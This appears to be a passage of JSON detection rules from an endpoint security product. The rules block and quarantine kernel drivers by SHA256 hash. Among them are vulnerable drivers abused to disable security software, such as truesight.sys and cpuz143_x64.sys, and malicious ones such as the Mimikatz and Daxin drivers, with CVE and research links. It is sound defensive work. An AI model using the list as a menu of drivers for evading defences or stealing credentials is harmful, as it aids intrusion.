+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610048Z",
+  "creation_date": "2026-03-23T11:45:29.610050Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b6b5d42-047f-5701-b816-ea56808153fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809099Z",
+  "creation_date": "2026-03-23T11:45:31.809101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71146bcb72abe1519c249a997e237b81a5e1114cd11d597be288f1fb14ec8950",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b6e38a6-8668-5363-babd-bb8e724d9d9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983884Z",
+  "creation_date": "2026-03-23T11:45:29.983886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4",
+  "comment": "Vulnerable Kernel Driver (aka iomem64.sys) [https://www.loldrivers.io/drivers/04d377f9-36e0-42a4-8d47-62232163dc68/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b754c0f-746d-5bd0-bd45-bb46522bdf02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970332Z",
+  "creation_date": "2026-03-23T11:45:29.970334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bee3d0ac0967389571ea8e3a8c0502306b3dbf009e8155f00a2829417ac079fc",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b77122e-246c-50c3-a517-abe3cadb9fdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808558Z",
+  "creation_date": "2026-03-23T11:45:31.808560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76346678c5d72ce03497bcf4fb35e4c1f64edd453fd755e4b6adda69198ea4f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b7aa0b2-2dd3-593e-9f68-fd7581590704",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148260Z",
+  "creation_date": "2026-03-23T11:45:31.148261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a77532f83971f8d0a982331e4b1d2529e736e52700f99ef646004271ea086217",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b82d260-d3c2-5d88-8e45-95e63c8de79b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812703Z",
+  "creation_date": "2026-03-23T11:45:31.812706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a023cdcc0d263f711310ee1161bc05a04b596fcb5915939a684fdc9e20139b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b8aff84-1923-526d-935c-de85a5980537",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828084Z",
+  "creation_date": "2026-03-23T11:45:30.828086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "810ab8565dfc1d44151ae8c878be0944abf706877e31f51a12695c06efbec4b9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b901092-727a-5aa7-9c74-f99c9457aa56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476052Z",
+  "creation_date": "2026-03-23T11:45:31.476056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f50b81473c5bf95988b4c8a0e8eabd83648384dc96180ba197e3e18f3aac0a5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b9ad25c-ae7a-5038-9c69-63260519fe4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609962Z",
+  "creation_date": "2026-03-23T11:45:29.609965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a363deaf1790e9c0610e07a7203749aab8b60f5ededc944abc0ef3010f5e2105",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b9ce25a-9dee-5045-8775-d8a47dc50ae8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827176Z",
+  "creation_date": "2026-03-23T11:45:31.827178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "781b7d5905d14e413214d0d72734441fca5fd3cf906a1403d231359024ecc296",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ba27702-bd96-563a-ae42-6ae696246e7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461810Z",
+  "creation_date": "2026-03-23T11:45:30.461813Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3033ff03e6f523726638b43d954bc666cdd26483fa5abcf98307952ff88f80ee",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3babf603-8f45-5ea9-b206-a36f01fd7707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605504Z",
+  "creation_date": "2026-03-23T11:45:29.605506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3576ebbab0429cb0b7624836821f5f062c60cdda80432768544f0ff9ee79b55",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bd2bf60-daab-5ab9-8247-225b5b1292fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472836Z",
+  "creation_date": "2026-03-23T11:45:31.472839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe3320bb661b71a041cf0d6964db8cdc0d1210a0a6a21012a979a208a6715b30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bd7085a-822c-552d-9135-80c21909757f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819691Z",
+  "creation_date": "2026-03-23T11:45:30.819693Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819698Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d777a9e2c61e8b55b3c34c5265b301454bb080abe7ffb373e7800bd6a498f8d",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bdd31a0-2846-5813-b231-88d99bbf0a7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480732Z",
+  "creation_date": "2026-03-23T11:45:30.480734Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfc121e93fcbf9bd42736cfe7675ae2cc805be9a58f1a0d8cc3aa5b42e49a13f",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3be063c8-46d0-5abc-9e05-a6280ed5ce7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461668Z",
+  "creation_date": "2026-03-23T11:45:30.461671Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "208ea38734979aa2c86332eba1ea5269999227077ff110ac0a0d411073165f85",
+  "comment": "Vulnerable Kernel Driver (aka titidrv.sys) [https://www.loldrivers.io/drivers/705facba-b595-41dd-86a6-93aefe6a6234/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bea576f-f35e-50f0-855d-269ca19841fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492757Z",
+  "creation_date": "2026-03-23T11:45:31.492761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492769Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c0d7ab7cf7d60bc75e37ad417daca7ab8c4916485270b13d5cea7e1fd953b2f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bf26f1a-62bd-5c90-a0e8-7f730b22fe47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470814Z",
+  "creation_date": "2026-03-23T11:45:30.470817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcad50a13dcf1eeefffe2c2f51a052fd13bfaeddb0bd1f3c2353c64284ea62e2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bfd60ed-6600-5aeb-9620-d6b92e26a5dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985832Z",
+  "creation_date": "2026-03-23T11:45:29.985834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16a1977a9251d6d4bec86bb0702a97bcaefa94444bbfe3978af2f79ee10d62a6",
+  "comment": "Malicious Kernel Driver (aka NQrmq.sys) [https://www.virustotal.com/gui/file/ad938d15ecfd70083c474e1642a88b078c3cea02cdbddf66d4fb1c01b9b29d9a] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3bfdc963-0463-50ad-821d-b7a6c4799a86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982555Z",
+  "creation_date": "2026-03-23T11:45:29.982557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "389d04a947be32b43eab5767f548fc193e9ac5fe5225a3b6dc26ddc80c326d7d",
+  "comment": "Malicious Kernel Driver (aka daxin_blank1.sys) [https://www.loldrivers.io/drivers/1bf3b155-752a-4cc7-beb0-f202e525eb1a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c02528b-4c5b-5c33-b0fb-66739f908bf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155596Z",
+  "creation_date": "2026-03-23T11:45:31.155599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3bdfd308d29f5f5c07035701a30d4120b69c7ae4003ca179a41e69d9e6b961c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c025e53-97ec-5444-a1a0-5835d910d984",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981367Z",
+  "creation_date": "2026-03-23T11:45:29.981369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
